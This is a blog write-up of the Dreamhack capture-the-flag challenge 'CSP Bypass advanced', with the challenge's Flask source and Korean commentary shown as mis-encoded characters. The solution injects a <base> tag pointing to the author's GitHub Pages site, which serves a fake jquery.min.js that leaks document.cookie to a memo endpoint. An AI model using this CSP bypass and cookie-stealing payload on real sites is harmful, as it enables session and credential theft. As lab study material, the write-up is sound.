[2025-08-06] CSP Bypass advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

  • app.py
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

app.run(host="0.0.0.0", port=8000)

๊ธฐ์กด์˜ ์ฝ”๋“œ์—์„œ ์ทจ์•ฝํ–ˆ๋˜/vuln ์—์„œ render_template()๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ html์„ ๋ฆฌํ„ดํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๋ฐ”๊ผˆ๋‹ค.

  • vuln.html

{% block content %}
  {{ param | safe }}
{% endblock %}

์œ„์™€ ๊ฐ™์ด html์ด ๋˜์–ด ์žˆ๊ธธ๋ž˜ ์•„๋ž˜์™€ ๊ฐ™์ด ๋ณด๋ƒˆ๋Š” ๋ฐ ์‹คํŒจ ํ–ˆ๋‹ค.

<img src="https://dreamhack.io/xxx" onerror="location.href='/memo?memo='+ document.cookie">

๋งˆ์นจ base-uri ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— <base> ํƒœ๊ทธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ๋‹ค.

ํ’€์ด

  • ๊ธฐ๋ณธ ํ‹€์ธ base.html์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค
		
		<script src="{{ url_for('static', filename='js/jquery.min.js')}}" nonce={{ nonce }}></script>
    <script src="{{ url_for('static', filename='js/bootstrap.min.js') }}" nonce={{ nonce }}></script>
    
  • base-uri๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ค๊ณ  ํ•ด๋‹น ์„œ๋ฒ„์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ๋ณด๋ƒ„
location.href="http://127.0.0.1:8000/memo?memo="+ document.cookie
  • ์œ„์˜ ์ฝ”๋“œ๋ฅผ ๋ฐ›์€ ์Šคํฌ๋ฆฝํŠธ ๋ฌธ์ด vuln API์—์„œ ๋ Œ๋”๋ง๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ ์„ฑ๊ณต
  1. ๊ฐœ์ธ ์„œ๋ฒ„๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— github ๋ธ”๋กœ๊ทธ๋ฅผ ํ†ตํ•ด JS ์ฝ”๋“œ๋ฅผ ์ „๋‹ฌํ•  ๊ฒƒ์ด๋‹ค.
  2. gitblog์— static/js ํด๋”๋ฅผ ๋งŒ๋“ค๊ณ  jquery.min.js ํŒŒ์ผ์„ ์•„๋ž˜์™€ ๊ฐ™์ด ๋งŒ๋“ค์—ˆ๋‹ค
location.href="http://127.0.0.1:8000/memo?memo="+ document.cookie
  1. <base> ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ์ฝ”๋“œ์— ์ ‘๊ทผํ•˜๊ฒŒ ํ–ˆ๋‹ค
<base href="https://yunseo10987.github.io/">

Categories:

Updated:

Leave a comment